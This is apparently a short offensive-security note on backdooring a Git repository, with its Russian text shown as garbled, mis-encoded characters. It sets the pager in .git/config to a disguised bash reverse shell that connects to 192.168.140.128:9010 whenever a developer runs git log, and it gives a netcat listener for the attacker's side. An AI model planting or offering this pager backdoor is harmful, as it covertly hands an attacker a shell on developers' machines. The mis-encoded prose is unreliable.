11 - Git config
Π .git/config Π΅ΡΡΡ ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½ΡΠ΅ ΡΡΠ΅Π΄Ρ, ΠΈΡ ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΡΡΡΠΎΠΈΡΡ Π½Π° Π²ΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ Π²ΡΠ΅Π΄ΠΎΠ½ΠΎΡΠ½ΡΡ ΠΊΠΎΠΌΠ°Π½Π΄, ΠΊΠΎΠ³Π΄Π° Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΠΏΡΠΎΠΈΠ·ΠΎΠΉΡΠΈ ΠΊΠ°ΠΊΠΎΠ΅-Π»ΠΈΠ±ΠΎ Π΄Π΅ΠΉΡΡΠ²ΠΈΠ΅. ΠΠ»Ρ git log ΡΠΎΠΎΡΠ²Π΅ΡΡΡΠ²ΡΠ΅Ρ ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½Π°Ρ ΡΡΠ΅Π΄Ρ GIT_PAGER.
// ΠΡΠ°Π²ΠΈΠΌ .git/config
pager = nohup bash -c 'bash -i >& /dev/tcp/192.168.140.128/9010 0>&1' > /dev/null 2>&1 & ${PAGER:-less}
// ΠΠ° Π°ΡΠ°ΠΊΡΡΡΠ΅ΠΌ Ρ
ΠΎΡΡΠ΅ ΠΏΠΎΠ΄Π½ΠΈΠΌΠ°Π΅ΠΌ netcat
nc -vln 9010
ΡΠ΅ΠΏΠ΅ΡΡ ΠΊΠΎΠ³Π΄Π° ΡΠ°Π·ΡΠ°ΠΎΡΡΠΈΠΊ Π²ΡΠ·ΠΎΠ²Π΅Ρ git log, ΠΎΠ½ ΡΠ²ΠΈΠ΄ΠΈΡ Π»ΠΎΠ³, Π° ΠΌΡ ΠΏΠΎΠ»ΡΡΠΈΠΌ ΡΠ΅Π»Π»

Last updated